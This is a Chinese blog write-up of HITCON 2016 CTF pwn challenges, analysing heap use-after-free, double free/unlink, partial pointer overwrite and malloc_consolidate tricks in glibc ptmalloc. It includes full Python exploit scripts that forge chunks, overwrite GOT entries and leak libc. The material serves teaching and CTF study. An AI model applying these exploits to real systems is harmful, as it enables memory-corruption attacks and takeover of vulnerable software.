Hitcon 2016 Pwn賽題學習

Ox9A82發表於2017-04-26

PS:這是我很久以前寫的,大概是去年剛結束Hitcon2016時寫的。寫完之後就丟在硬碟裡沒管了,最近翻出來才想起來寫過這個,索性發出來

0x0 前言

Hitcon個人感覺是高質量的比賽,相比國內的CTF,Hitcon的題目內容更新,往往會出現一些以前從未從題目中出現過的姿勢。同時觀察一些CTF也可以發現,往往都是國外以及臺灣的CTF中首先出現的姿勢,然後一段時間後才會被國內的CTF學習到。
此次Hitcon2016目前還未發現有中文的writeup放出,由於Hitcon題目的高質量,所以這裡寫一篇Hitcon Pwn題目的賽題分析,會從解題思路和出題思路兩方面去分析。
題目列表:

  • Pwn100-Secret Holder (30解出)
  • Pwn200-ShellingFolder (39解出)
  • Pwn300-Sleepy Holder (1解出)
  • Pwn300-Babyheap (3解出)
  • Pwn350-OmegaGo (3解出)
  • Pwn400-Heart Attack (3解出)
  • Pwn500-House of Orange (3解出)

可見這次的賽題難度還是相當高的,在強如PPP、LC↯BC等國際名隊,國內強隊0ops、AAA參賽的情況下。大多數題目也只有幾隊能夠解出。

0x1 Pwn100-Secret Holder

1.分析

這是一道經典的選單程式,可以分配small、big、huge三種堆塊,其中small屬於small bin,其餘兩種都屬於large bin(一個是4000位元組另一個是40萬位元組)。

Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret

程式是x64的,開啟了除了PIE之外的所有保護。
這道題的漏洞給的相當明顯,當堆塊被free掉之後,堆指標卻沒有清零。因此存在著Use-After-Free漏洞,可以很容易的看出我們能夠在一個塊中獲得一個懸垂指標。

  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  switch ( v0 )
  {
    case 2:
      free(big_ptr);
      big_num = 0;
      break;
    case 3:
      free(huge_ptr);
      huge_num = 0;
      break;
    case 1:
      free(small_ptr);
      small_num = 0;
      break;
  }

一般存在這種情況就都是使用double free的利用方法。但是這道題比較不同的地方,也是難點所在的地方是,程式給出了一個大小為40萬位元組的塊,在分配屬於large bin大小的堆塊的時候會首先進行一系列的合併,然後檢查large bin表和unsorted bin表等一系列bins中是否存在可以滿足我們需求大小的塊,明顯這些bins中是不可能存在40萬位元組這麼大的塊的。然後malloc會寄希望於從top chunk中分配,對於4000位元組還好但是40萬位元組明顯top chunk本身都不會有這麼大。
那麼系統接下來會去試圖擴充套件堆的大小,使用的函式是sysmalloc,這個函式會首先判斷是否滿足mmap的分配條件,如果要分配的大小大於mmap的閥值(mp_.mmap_threshold),並且此程式透過mmap分配的總記憶體數量(mp_.n_mmaps)小於設定的最大值的話(mp_.n_mmaps_max),就會使用mmap分配

 if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) 
    &&(mp_.n_mmaps < mp_.n_mmaps_max))
    {
       ……
    }

毫無疑問,我們的40萬位元組的分配滿足這兩個條件,但這不是我們想看到的。
因為初始的堆是由brk方式分配的,其中brk分配的堆的地址是緊鄰著bss段的(如果存在ASLR則會加一個隨機的偏移值)。而mmap分配的記憶體則會建立一個記憶體對映段出來,這兩者分配出來的記憶體的地址相距是很遠的。
那麼有沒有辦法讓40萬位元組透過brk分配呢?答案是有的,sysmalloc在mmap出記憶體之後會隨之更新mp_.n_mmaps_max值,如下所示:

unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum);

這樣當下次判斷的時候,就不再滿足mmap分配的條件了,從而使得透過brk來分配。
對於double free的利用,我們通常採取的手段是圍繞著懸垂指標構造兩個偽堆塊結構,並且設定前一個塊為空,這樣當我們free掉指標的時候就會觸發unlink宏達到執行任意程式碼的目的。為了實現這一目的,我們必須要讓這兩個偽堆塊屬於small bin的範疇。對於x64來說範圍是32~1016byte,40位元組的small明顯屬於small bin,但是big和huge均不屬於small bin。
如果我們偽造兩個small bin來佈局記憶體的話,那麼是會引發段錯誤的,如以下程式碼所示:

if (__builtin_expect (!prev_inuse(nextchunk), 0))
{
  errstr = "double free or corruption (!prev)";
  goto errout;
}

這段_int_free中的程式碼本來的目的是為了防止double free的,它檢測了當前塊的下一塊的prev_inuse域是否被設定,如果我們簡單粗暴的直接偽造兩個small bin那麼相應位置的inuse位肯定是0,從而引發錯誤,所以我們要做的是在兩個偽造的small bin之後再接著偽造一個塊就可以繞過這個檢測了。

當成功的觸發了unlink之後,我們就可以發現原有的big指標被改成了&big-0x18

===========================================================================
.bss:0000000000602090
.bss:0000000000602090 ; Segment type: Uninitialized
.bss:0000000000602090 ; Segment permissions: Read/Write
.bss:0000000000602090 _bss            segment para public 'BSS' use64
.bss:0000000000602090                 assume cs:_bss
.bss:0000000000602090                 ;org 602090h
.bss:0000000000602090                 assume es:nothing, ss:nothing, ds:_data, 
.bss:0000000000602090                 public stdout
.bss:0000000000602090 ; FILE *stdout
.bss:0000000000602090 stdout          dq ?                    ; DATA XREF: 
.bss:0000000000602090                                         ; sub_4007B0+22o ...
.bss:0000000000602090                                         ; Copy of shared 
.bss:0000000000602098 byte_602098     db ?                    ; DATA XREF: 
.bss:0000000000602098                                         ; sub_400820+13w
.bss:0000000000602099                 align 20h
.bss:00000000006020A0 ; void *big_pointer
.bss:00000000006020A0 big_pointer     dq ?                    ; DATA XREF: 
.bss:00000000006020A0                                         ; 
.bss:00000000006020A8 ; void *huge_pointer
.bss:00000000006020A8 huge_pointer    dq ?                    ; DATA XREF: 
.bss:00000000006020A8                                         ; 
.bss:00000000006020B0 ; void *small_pointer
.bss:00000000006020B0 small_pointer   dq ?                    ; DATA XREF: 
.bss:00000000006020B0                                         ; sub_40086D+D3r ...
.bss:00000000006020B8 big_jisu        dd ?                    ; DATA XREF: 
.bss:00000000006020B8                                         ; 
.bss:00000000006020BC huge_jisu       dd ?                    ; DATA XREF: 
.bss:00000000006020BC                                         ; 
.bss:00000000006020C0 small_jisu      dd ?                    ; DATA XREF: 
.bss:00000000006020C0                                         ; sub_40086D+BFw ...
.bss:00000000006020C4                 align 8
.bss:00000000006020C4 _bss            ends
.bss:00000000006020C4

然後我們再利用renew功能對big_pointer進行寫入,如上面的bss佈局所示可以輕易的覆蓋到big_pointer、huge_pointer、small_pointer,從而實現了任意地址寫。
因為題目沒有提供libc.so所以需要自己去洩漏libc.so的版本和基地址。因為我們已經具備了任意地址寫的能力,所以現在的問題就是如何把任意地址寫轉換成為任意地址洩漏。
這裡我們使用的方法是把free函式的got表值覆蓋為輸出函式的地址,比如puts。這個方法在去年的XXXX CTF裡也有出現過。

2.利用步驟

透過上面的分析我們可以得出以下的利用步驟
1.keep huge
2.wipe huge //提高了mp_.n_mmaps_max的值
3.keep small
4.keep big
5.wipe small
6.wipe big //獲取懸垂指標
7.keep huge //構造偽堆塊結構
8.wipe big //double free
9.renew big //overwrite big_pointer and huge_pointer
10.renew huge//overwrite free@got by puts@plt
這種情況下的exp如下:

from zio import *
from struct import *

io=zio('./sh1',timeout=9999)
#io.gdb_hint()
ptr=0x6020A8

def BinToInt64(bin):
 tuple1=unpack('Q',bin[0:8])
 print tuple1
 str1=str(tuple1)
 int1=int(str1[1:19])
 print int1
 print hex(int1)
 return hex(int1)

fake_chunk=''
fake_chunk+=l64(0)+l64(33)
fake_chunk+=l64(ptr-24)+l64(ptr-16)
fake_chunk=fake_chunk.ljust(32,'a')
fake_chunk+=l64(32)+l64(160)
fake_chunk=fake_chunk.ljust(192,'b')
fake_chunk+=l64(0)+l64(161)
fake_chunk=fake_chunk.ljust(352,'c')
fake_chunk+=l64(0)+l64(161)
fake_chunk=fake_chunk.ljust(512,'d')

sc1=l64(1)+l64(0)+l64(0x602018)+l64(0x06020A0)+l64(0x602030)#memset@got
sc2=l64(0x4006c6)+l64(0x4006c6)#puts@plt
sc3=l64(0x602048)+l64(0x06020A0)+l64(0x0602040)#__libc_start_main@got + read@got

io.read_until('3. Renew secret')#keep huge
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline('xxx')

io.read_until('3. Renew secret')#wipe huge
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('3')

io.read_until('3. Renew secret')#keep small
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('1')
io.read_until('Tell me your secret:')
io.writeline('xxx')

io.read_until('3. Renew secret')#keep big
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('2')
io.read_until('Tell me your secret:')
io.writeline('xxx')

io.read_until('3. Renew secret')#wipe small
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')

io.read_until('3. Renew secret')#wipe big
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')

io.read_until('3. Renew secret')#keep huge
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(fake_chunk)

io.read_until('3. Renew secret')#wipe big  unlink!!!
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')



io.read_until('3. Renew secret')#renew huge
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(sc1)

io.read_until('3. Renew secret')#renew big
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('2')
io.read_until('Tell me your secret:')
io.writeline(sc2)

#io.gdb_hint()

io.read_until('3. Renew secret')#wipe small   #memset@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')
#io.read_until('3. Renew secret')
memset_got=io.read(20)
print 'memset@got==============='
t1=BinToInt64(memset_got[0:8])
print hex(int(str(t1)[3:15],16))

io.read_until('3. Renew secret')#renew huge
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(sc3)

io.read_until('3. Renew secret')#wipe small   read@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')
read_got=io.read(20)
print 'read@got================'
t1=BinToInt64(read_got[0:8])
print hex(int(str(t1)[3:15],16))

io.read_until('3. Renew secret')#wipe big   _libc_start_main@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')
libc_start=io.read(20)
print 'libc_start_main==========='
t1=BinToInt64(libc_start[0:8])
print hex(int(str(t1)[3:15],16))

#io.gdb_hint()  
io.read()

由於libc.so取決於本地測試時的版本,所以這裡就只提供leak的exp了,最後取得shell已經變得非常簡單了,只需要隨意覆蓋一個got表為magic system地址即可。

3.總結

double free利用的題在CTF中較為常見,但是結合了large bin和small bin的double free確實是很少的。這裡面對於堆塊的brk和mmap分配也需要對ptmalloc有一定了解的人才能及時的解出。

0x2 Pwn200-Shelling Folder

1.分析

同樣是x64下的Linux程式,功能大體上是一個目錄管理程式,所有保護全開,但是提供了libc.so。

**************************************
            ShellingFolder            
**************************************
 1.List the current folder            
 2.Change the current folder          
 3.Make a folder                      
 4.Create a file in current folder    
 5.Remove a folder or a file          
 6.Caculate the size of folder        
 7.Exit                               
**************************************
Your choice:

在程式裡主要的結構如下:
總共是136個位元組

[80] child_pointer
[8] parents_pointer
[32]    name
[8] size
[4] flag

其中第一個域是指向自己子結構的指標,共10個。說明一個目錄最多能存放10個子結構。第二個域是父目錄的指標,指向自己的上一級結構。第三個域儲存這個結構的名稱。第四個儲存這個檔案的大小,注意只有這個結構表示檔案時才使用size域。最後一個域用來表示這個結構是目錄還是檔案。
這道題總共有2個洞,雖然程式碼有些囉嗦,但是其中第一洞還是想到明顯的。可以發現存在一個棧溢位能夠覆蓋掉區域性變數,如下所示我們可以計算出棧上的緩衝區s的大小是24個位元組

-0000000000000030 s               db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018 var_18          dq ?

但是我們進行複製的時候卻是複製了30個位元組,這樣就覆蓋了v3變數的值,但是並不能達到返回地址和儲存的ebp

  while ( v4 <= 9 )
  {
    if ( *(_QWORD *)(a1 + 8LL * v4) )
    {
      v3 = a1 + 120;
      Mycopy(&s, (const char *)(*(_QWORD *)(a1 + 8LL * v4) + 88LL));
      if ( *(_DWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 128LL) == 1 )
      {
        *(_QWORD *)v3 = *(_QWORD *)v3;
      }
      else
      {
        printf("%s : size %ld\n", &s, *(_QWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 120LL));
        *(_QWORD *)v3 += *(_QWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 120LL);
      }
    }
    ++v4;
  }

而這個v3區域性變數是一個指標,之後會對這個指標指向的值做一個加法操作,我們這裡的*(_QWORD )((_QWORD )(a1 + 8LL v4) + 120LL)的值其實就是之前設定的當前目錄下的檔案的size值。但是這個值是被使用者控制的,而且是可正可負的。由於加法運算元可正可負,所以這就相當於是造成了一個任意地址寫(write-anything-anywhere)的漏洞。
第二個漏洞就比較隱蔽了,在作者實現的MyCopy函式中,沒有給複製的字串加上字串結束符

void *__fastcall Mycopy(void *a1, const char *a2)
{
  size_t n; // ST28_8@1

  n = strlen(a2);
  return memcpy(a1, a2, n);
}

而這道題恰好又存在著輸出功能,那麼我們就有可能利用這個漏洞來實現地址洩漏。
如果這道題沒有開PIE保護,那麼利用起來很簡單。可以透過任意地址寫去改寫bss段上存有的當前目錄的指標,來洩漏出got表的值,然後因為題目提供了libc,所以可以直接計算出地址,再利用任意地址寫寫到got表中就可以拿到shell了。
然而,在保護全開的情況下,我們並沒有一個確切的地址去寫,因為所有模組的地址均是不定的。所以這裡使用的方法是部分覆蓋指標法,我們只向目標中寫入25個位元組以覆蓋最低位。

__int64 __fastcall sub_1334(__int64 a1)
{
  if ( !a1 )
    exit(1);
  v4 = 0;
  memset(&s, 0, 0x20uLL);
  while ( v4 <= 9 )
  {
    if ( *(_QWORD *)(a1 + 8LL * v4) )
    {
      v3 = a1 + 120;
      Mycopy(&s, (const char *)(*(_QWORD *)(a1 + 8LL * v4) + 88LL));

我們可以看到這裡v3的值在發生溢位被覆蓋前是等於a1+120的,而a1是什麼呢?a1是全域性變數0x202020也就是當前目錄的結構指標。那麼v3的值其實是指向當前目錄結構的size域的,我們知道size域距離塊首有0x78的偏移,如果能夠進行合理的猜測那麼就可以實現覆蓋掉10個指標中的某一個,並把它指向我們任意定義的地方。然後透過1號list功能就可以實現洩漏記憶體了。
具體要把指標指向哪裡呢?我們要思考一下,之所以堆可以洩漏記憶體是因為free狀態的堆存在著fd和bk指標,那麼我們首先就要去構造一些這樣的空塊出來,然後再把指標指過去實現洩漏。
即只覆蓋指標的低地址部分,這種方法並不精確但是透過不斷的嘗試我們可以摸索出一個偏移以使得把指標指向這裡之後再次洩漏,把指標附近的記憶體讀出,因為在ptmalloc中,一個塊被釋放後會被丟人unsorted bin中,只要我們能夠讀到後面的unsorted bin的fd和bk指標就可以獲取到bins[]地址,從而計算出libc的基地址。

一旦獲得了libc的基地址一切就簡單了,因為題目已經提供了libc檔案。所以我們可以直接算出我們想要的地址。在libc中存在著一個非常好用的位置,即是ptmalloc的一系列hook函式,我們可以透過libc地址算出free_hook的地址,然後把magic system寫入free_hook。之後,當我們再次呼叫free函式時就會轉向我們在free_hook中指定的magic system了。
思路已經理清楚了。

1.建立8個檔案
2.建立一個可造成溢位的檔案
3.把8個檔案中的後面幾個釋放掉,以加入unsorted bin
2.計算大小
3.列出當前目錄下的內容

exp如下:

from zio import *
from struct import *
io=zio('./sf',timeout=9999)

#io.gdb_hint()

def BinToInt64(bin):
    tuple1=unpack('Q',bin[0:8])
    print tuple1
    str1=str(tuple1)
    int1=int(str1[1:19])
    print int1
    print hex(int1)
    return hex(int1)

name_overflow=''
name_overflow=name_overflow.ljust(24,'a')+'\x28'

offset='200'

i=0
for i in range(0,8):
 io.read_until('Your choice:')#create file x8
 io.writeline('4')
 io.read_until('Name of File:')
 io.writeline(str(i))
 io.read_until('Size of File:')
 io.writeline('100')
 i+=1


io.read_until('Your choice:')#create file
io.writeline('4')
io.read_until('Name of File:')
io.writeline(name_overflow)
io.read_until('Size of File:')
io.writeline(offset)

i=5
for i in range(5,8):
 io.read_until('Your choice:')#remove file 
 io.writeline('5')
 io.read_until('Choose a Folder or file :')
 io.writeline(str(i))
 i+=1


#io.gdb_hint()
io.read_until('Your choice:')#Caculate size
io.writeline('6')

io.read_until('Your choice:')#list folder
io.writeline('1')

io.read_until('2')
get=io.read(8)
addr=BinToInt64(get)
addr=int(str(addr[3:15]),16)
print hex(addr)

io.read()

即可得到bins的地址,然後再推算出malloc_hook的地址。我們為了利用方便同樣使用了magic system,然後利用前面的任意地址寫把magic system的地址寫到malloc_hook上。之後當我們再次觸發malloc就可以成功的得到shell。

0x3 Pwn300-Sleepy Holder

題目的程式與Pwn100基本上是一致的
main函式同樣是一個選單,分為:

Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret

其中塊依然是分為small(40)、big(4000)、huge(400000)三種

_int64 keep()
{
  int v0; // eax@3
  char s; // [sp+10h] [bp-10h]@3
  __int64 v3; // [sp+18h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  puts("What secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  if ( !huge_jisu )
    puts("3. Keep a huge secret and lock it forever");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 2 )
  {
    if ( !big_jisu )
    {
      big_pointer = calloc(1uLL, 4000uLL);
      big_jisu = 1;
      puts("Tell me your secret: ");
      read(0, big_pointer, 4000uLL);
    }
  }
  else if ( v0 == 3 )
  {
    if ( !huge_jisu )
    {
      huge_pointer = calloc(1uLL, 400000uLL);
      huge_jisu = 1;
      puts("Tell me your secret: ");
      read(0, huge_pointer, 400000uLL);
    }
  }
  else if ( v0 == 1 && !small_jisu )
  {
    small_pointer = calloc(1uLL, 40uLL);
    small_jisu = 1;
    puts("Tell me your secret: ");
    read(0, small_pointer, 40uLL);
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

同樣是釋放後只將計數清零,並沒有清零指標,所以UAF漏洞依然存在

__int64 wipe()
{
  int v0; // eax@1
  char s; // [sp+10h] [bp-10h]@1
  __int64 v3; // [sp+18h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 1 )
  {
    free(small_pointer);
    small_jisu = 0;         //只清零計數,並沒有清零指標
  }
  else if ( v0 == 2 )
  {
    free(big_pointer);
    big_jisu = 0;           //只清零計數,並沒有清零指標
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

看到這裡我們應該意識到這道題與Pwn100的差別了,就是huge塊只可以分配一次,並且無法釋放。
所以要另想辦法才行,不得不佩服Hitcon CTF主辦方的是(可能是217?)這道題的利用思路很有可能是是首創的,甚至之前都從來沒有出現過的。
在ptmalloc中分配一個large bin的時候,會呼叫malloc_consolidate()函式來清除fastbin中的塊。
具體操作如下:

 else //當分配large bin時 
 {
    idx = largebin_index(nb);
    if (have_fastchunks(av))
      malloc_consolidate(av);
  }

malloc_consolidate函式其實只在存在fastbin塊時進行操作

static void malloc_consolidate(mstate av)
{
  //...
  if (get_max_fast () != 0) //當fastbin存在時
    {
        //...
      do    
        {
            //...
           do  
            {
                //...
            if (!prev_inuse(p)) //合併fastbin中的相鄰空塊
            {
                  prevsize = p->prev_size;
                  size += prevsize;
              p = chunk_at_offset(p, -((long) prevsize));
              unlink(p, bck, fwd);
                }
                //...
            } while ( (p = nextp) != 0); //遍歷一條fastbin連結串列裡的每一個塊
        }while (fb++ != maxfb); //遍歷每一條fastbin連結串列  
   }
   else //當fastbin不存在時
  {
    //...
  }
}

目的是把fastbin中的塊的狀態設定為空,因為我們知道fastbin中的塊是始終處於使用狀態的,就是說fastbin塊的後塊的pre_inuse位始終置1。但是,一旦觸發了malloc_consolidate函式就會把fastbin塊丟入small bin中並且設定為釋放狀態,即下一塊的pre_inuse域為0。

1   keep small 
2   keep big     //防止small與big合併
3   wipe small   //small進入fastbin表
4   keep huge    //分配large bin使得fastbin塊進入small bin
5  wipe small   //再次free同一個塊,是為了讓它存在於fastbin表中
6  keep small   //fastbin的項被取下,之前釋放的記憶體被返還(在這塊記憶體中佈局偽堆結構)
7  wipe big     //unlink
8  renew small  //覆寫指標,接著就是任意地址寫

這道題利用的點是,當分配large bin的時候,會把fastbin的塊設為free狀態,並且丟進small bins中。從而使得fastbin後面的big chunk的inuse位為0。之後的目的就是要保持住這個為0的inuse位,最後在這個塊前面重新取回那個small bin,實現觸發unlink造成任意地址寫。
所以分配huge塊(large bin)的意義就是為了觸發malloc_consolidate函式,而第二次釋放fastbin塊是為了讓它加入到fastbin連結串列中,而且分配的時候如果是從fastbin分配過來的話那麼根本就不會更改inuse域。
所以這個題其實利用了這樣的一種矛盾:
1.從fastbin分配不會設定後塊的pre_inuse位。
2.malloc_consolidate會把fastbin的後塊pre_inuse位清零。

本質的利用方法依然是unlink,修改了塊的指標,然後可以實現指標的覆寫從而導致任意地址寫。解下的步驟與Pwn100就很類似了。

相關文章